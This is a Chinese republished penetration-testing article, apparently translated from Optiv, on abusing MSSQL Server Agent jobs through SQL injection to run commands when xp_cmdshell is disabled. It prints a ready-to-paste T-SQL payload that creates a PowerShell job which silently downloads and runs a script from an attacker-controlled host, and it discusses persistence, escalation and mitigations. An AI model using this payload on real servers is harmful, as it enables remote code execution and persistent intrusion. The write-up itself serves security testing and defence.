热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【技术分享】MSSQL注入时通过AgentJob执行命令的方法

安全客技术点评因为MSSQL2005以后的版本默认禁止了XP_CMDSHELL,如果服务器开

安全客技术点评

因为MSSQL 2005以后的版本默认禁止了XP_CMDSHELL,如果服务器开启了MSSQL Agent Job服务,并且有权限新建和执行agent jobs的话,配合cobaltstrike的powershell payload会返回一个SQLSERVERAGENT权限的shell。操作的具体步骤可以参考视频,实际操作的时候需注意URL编码问题。

写在前面的话

Optiv渗透测试(A&P)团队的主要目标就是通过模拟恶意黑客的攻击行为来测试公司的安全防御的有效性。所谓安全测试,就是要通过模拟真实的攻击场景对企业或组织的安全解决方案进行多方面的评估。这种类型的安全评估不仅可以帮助组织确定自己的信息安全防护能力,还可以帮助他们提升系统的安全性。除此之外,安全研究人员还可以在测试过程中找出那些安全意识薄弱的雇员,企业就可以对这部分人进行额外的安全培训,以尽可能地避免因不安全的人为操作而导致的安全事件发生。

实际上在信息安全领域中,攻击者和防御者一直都在玩着一种“猫捉老鼠”的游戏,而且信息安全攻防也是一场永无止境的“军备竞赛”。恶意攻击者会使用新型的攻击手段来发动攻击,而安全专家又需要针对这些攻击方法来设计并部署相应的检测和防御措施。因此,从安全防御的角度出发,企业或组织应该以一种积极主动的态度来与网络恶势力对抗。各个组织应当要能够识别新型的攻击,并且提前采取适当的措施来抵御这些攻击,这就是我们所说的“先发制人”。

http://p5.qhimg.com/t019ea996b7ee0695f4.png

长期以来,Optiv公司的A&P团队无论在攻击端还是防御端都一直保持着自己的技术专业性,而且Optiv公司提供给用户的安全防御方法可以有效地检测并防御新型的网络攻击。如果组织想要在这个不断变化的安全威胁环境中生存下来,那么就必须要有一个专业的安全团队来帮助他们评估攻击者可能会采用的攻击策略、攻击技术、以及攻击过程(TTP),并且在安全团队的帮助下,利用这些评估数据来提升自己的安全性。在这种情况下,Optiv公司也许是一个最合适的选择。


未被发现的攻击

现在,很多攻击者在发动恶意攻击的时候已经不会单纯地去追求成功率了,因为他们还需要保证自己的攻击活动不被检测到。如果企业在检测和发现数据泄漏的过程中耗费的时间越久,那么攻击者就会有更多的时间去识别并提取系统中的敏感数据。不仅如此,攻击者甚至还可以利用这个被入侵的网络系统来作为一个支点,并进行其他的恶意攻击活动。

Optiv公司的A&P团队会设计并实施一些高级的网络攻击,而我们的目标就是通过这些攻击来发现防御端与攻击端之间的差距,并帮助组织提升安全防护能力。


微软的SQL Server Agent

近期,Optiv公司的安全研究专家发现了一种新型的攻击手段。如果MSSQL数据库中开启了MSSQL Server Agent Job服务的话,攻击者将可以利用MSSQL Server中自带的功能来获取一个shell。

http://p6.qhimg.com/t0194c7160a71e864ba.png

MSSQL Server代理是一个Windows服务,它可以被用来执行自动化任务。管理员可以设置定时代理作业,然后在MSSQL Server代理服务中执行这些定时作业。但是,如果使用了代理的话,这些作业(job)就可以使用不同的证书来执行了。


攻击浅析

在近期的一次安全分析中,研究人员在一个使用了MSSQL Server 2012的Web应用中发现了一个SQL注入漏洞。在客户的要求下,Optiv以一种非公开的方式对目标进行了安全评估,并且在评估的过程中尽可能地避免被检测到。Optiv设计出了一种新的攻击方法,研究人员可以利用MSSQL Server中的本地功能来在Windows操作系统中执行任意命令。在整个测试过程中,xp_cmdshell存储过程已被禁用了,并且限制了创建自定义存储过程的能力

当xp_cmdshell扩展存储过程在攻击中被使用时,大多数安全监控或检测系统都会产生警报。而攻击者和渗透测试人员对xp_cmdshell的滥用已经导致很多组织和企业开始禁用或限制xp_cmdshell了。

Optiv发现了一种攻击场景,攻击者或可利用MSSQL Server代理来在目标数据库服务器中执行任意控制命令。但是,目标服务器必须满足一下几个条件:

1. 目标服务器必须开启了MSSQL Server代理服务;

2. 服务器中当前运行的用户账号必须拥有足够的权限去创建并执行代理作业;

Optiv已经发现了两个攻击者可以利用的MSSQL代理作业子系统:CmdExec和PowerShell子系统,这两个功能可以分别用来执行操作系统命令和PowerShell脚本。

http://p1.qhimg.com/t010ca452b13384d0b5.png

Optiv的安全研究专家可以使用SQL注入点来创建并执行代理任务。任务所需执行的命令是一段PowerShell代码,这段代码可以让目标系统与一个受Optiv控制的IP地址进行通信连接,然后下载额外的PowerShell指令。这样一来,就可以在目标数据库服务器与Optiv控制的服务器之间建立一条可交互的命令控制会话了。

下面这张代码截图显示的是已被拆分的SQL语句。请注意,在下面这段下载命令中,URI位于两个单引号之间,而不是之前的双引号。这样做是为了在SQL语句中转义单引号

http://p8.qhimg.com/t01a4007410a27f8876.png

USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';

如果你想要复现攻击场景的话,上面这段代码可以方便你进行复制粘贴。接下来,我们将通过下面的例子来给大家进行攻击演示。


攻击示例

如下图所示,SQL语句已经进行了URL编码处理。在这个攻击示例中,攻击是通过HTTP GET请求来发送的,因此我们需要对攻击payload进行URL编码。

http://p8.qhimg.com/t0115e0a10ffcc08ae9.png

大家可以看到,我们在HTTP GET请求的参数中添加了SQL注入payload,这样我们就可以使用SQL注入了。(请注意我们在payload的开头处添加的%20(空格符))

http://p5.qhimg.com/t01d605277d59d484c7.png

当payload运行之后,我们就可以看到命令控制会话已经建立成功了,并且使用的是“SQLSERVERAGENT”账号的权限。

http://p4.qhimg.com/t0178656d6216be39b2.png

在目标主机的SQL Server中,我们可以看到SQL代理作业已经创建成功了。

http://p7.qhimg.com/t01d5d9eae11c68b2d6.png

我们在这里给大家提供了一个完整的攻击演示视频:


攻击过后的安全剖析

如果目标主机运行了MSSQL代理服务,并且代理服务使用的用户账号可以访问其他的MSSQL Server的话,那么攻击者就可以利用这种攻击来在其他的MSSQL Server中执行MSSQL Server代理作业了。除此之外,攻击者还可以设置定时代理作业,这也就意味着,攻击者不仅可以利用这种方式来躲避安全检测,而且还可以实现对目标MSSQL Server的持久化控制。

在某些情况下,如果MSSQL Server代理服务使用的是权限更高的用户账号,那么攻击者就可以通过这种攻击来实现提权。


攻击缓解方案

http://p3.qhimg.com/t015f2a0d515889dd2f.png

常用的Web应用安全保护策略应该都可以防止这种类似SQL注入的攻击。用户应该在Web应用中使用事先定义好的SQL查询语句,然后从后台数据库中提取出Web应用的事务处理逻辑。除此之外,用户也应该部署Web应用防火墙来检测并阻止这种攻击。

如果内部系统无需直接访问互联网主机的话,用户应该直接阻止这类操作,这样就可以防止攻击者在组织内部服务器与外部恶意服务器之间建立通信连接了。除此之外,管理员也应该部署严格的数据输出过滤策略

由于攻击者可以利用MSSQL Server代理作业来在其他的数据库服务器中执行SQL查询操作,那么为了限制这种攻击,我们就要严格控制数据库用户账号的权限,即按照“最小权限原则”来分配账号权限。


推荐阅读
  • 网站访问全流程解析
    本文详细介绍了从用户在浏览器中输入一个域名(如www.yy.com)到页面完全展示的整个过程,包括DNS解析、TCP连接、请求响应等多个步骤。 ... [详细]
  • 在Delphi7下要制作系统托盘,只能制作一个比较简单的系统托盘,因为ShellAPI文件定义的TNotifyIconData结构体是比较早的版本。定义如下:1234 ... [详细]
  • 开机自启动的几种方式
    0x01快速自启动目录快速启动目录自启动方式源于Windows中的一个目录,这个目录一般叫启动或者Startup。位于该目录下的PE文件会在开机后进行自启动 ... [详细]
  • 在CentOS 7环境中安装配置Redis及使用Redis Desktop Manager连接时的注意事项与技巧
    在 CentOS 7 环境中安装和配置 Redis 时,需要注意一些关键步骤和最佳实践。本文详细介绍了从安装 Redis 到配置其基本参数的全过程,并提供了使用 Redis Desktop Manager 连接 Redis 服务器的技巧和注意事项。此外,还探讨了如何优化性能和确保数据安全,帮助用户在生产环境中高效地管理和使用 Redis。 ... [详细]
  • 该大学网站采用PHP和MySQL技术,在校内可免费访问某些外部收费资料数据库。为了方便学生校外访问,建议通过学校账号登录实现免费访问。具体方案可包括利用学校服务器作为代理,结合身份验证机制,确保合法用户在校外也能享受免费资源。 ... [详细]
  • Python 伦理黑客技术:深入探讨后门攻击(第三部分)
    在《Python 伦理黑客技术:深入探讨后门攻击(第三部分)》中,作者详细分析了后门攻击中的Socket问题。由于TCP协议基于流,难以确定消息批次的结束点,这给后门攻击的实现带来了挑战。为了解决这一问题,文章提出了一系列有效的技术方案,包括使用特定的分隔符和长度前缀,以确保数据包的准确传输和解析。这些方法不仅提高了攻击的隐蔽性和可靠性,还为安全研究人员提供了宝贵的参考。 ... [详细]
  • 基于iSCSI的SQL Server 2012群集测试(一)SQL群集安装
    一、测试需求介绍与准备公司计划服务器迁移过程计划同时上线SQLServer2012,引入SQLServer2012群集提高高可用性,需要对SQLServ ... [详细]
  • [转]doc,ppt,xls文件格式转PDF格式http:blog.csdn.netlee353086articledetails7920355确实好用。需要注意的是#import ... [详细]
  • 秒建一个后台管理系统?用这5个开源免费的Java项目就够了
    秒建一个后台管理系统?用这5个开源免费的Java项目就够了 ... [详细]
  • 本文将详细介绍如何在Mac上安装Jupyter Notebook,并提供一些常见的问题解决方法。通过这些步骤,您将能够顺利地在Mac上运行Jupyter Notebook。 ... [详细]
  • 解决 Windows Server 2016 网络连接问题
    本文详细介绍了如何解决 Windows Server 2016 在使用无线网络 (WLAN) 和有线网络 (以太网) 时遇到的连接问题。包括添加必要的功能和安装正确的驱动程序。 ... [详细]
  • 本文深入解析了 Kubernetes 控制平面(特别是 API 服务器)与集群节点之间的通信机制,并对其通信路径进行了详细分类。旨在帮助用户更好地理解和定制其安装配置,从而增强网络安全性,确保集群的稳定运行。 ... [详细]
  • 在对WordPress Duplicator插件0.4.4版本的安全评估中,发现其存在跨站脚本(XSS)攻击漏洞。此漏洞可能被利用进行恶意操作,建议用户及时更新至最新版本以确保系统安全。测试方法仅限于安全研究和教学目的,使用时需自行承担风险。漏洞编号:HTB23162。 ... [详细]
  • 服务器部署中的安全策略实践与优化
    服务器部署中的安全策略实践与优化 ... [详细]
  • 在优化Nginx与PHP的高效配置过程中,许多教程提供的配置方法存在诸多问题或不良实践。本文将深入探讨这些常见错误,并详细介绍如何正确配置Nginx和PHP,以实现更高的性能和稳定性。我们将从Nginx配置文件的基本指令入手,逐步解析每个关键参数的最优设置,帮助读者理解其背后的原理和实际应用效果。 ... [详细]
author-avatar
尚庆湃
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有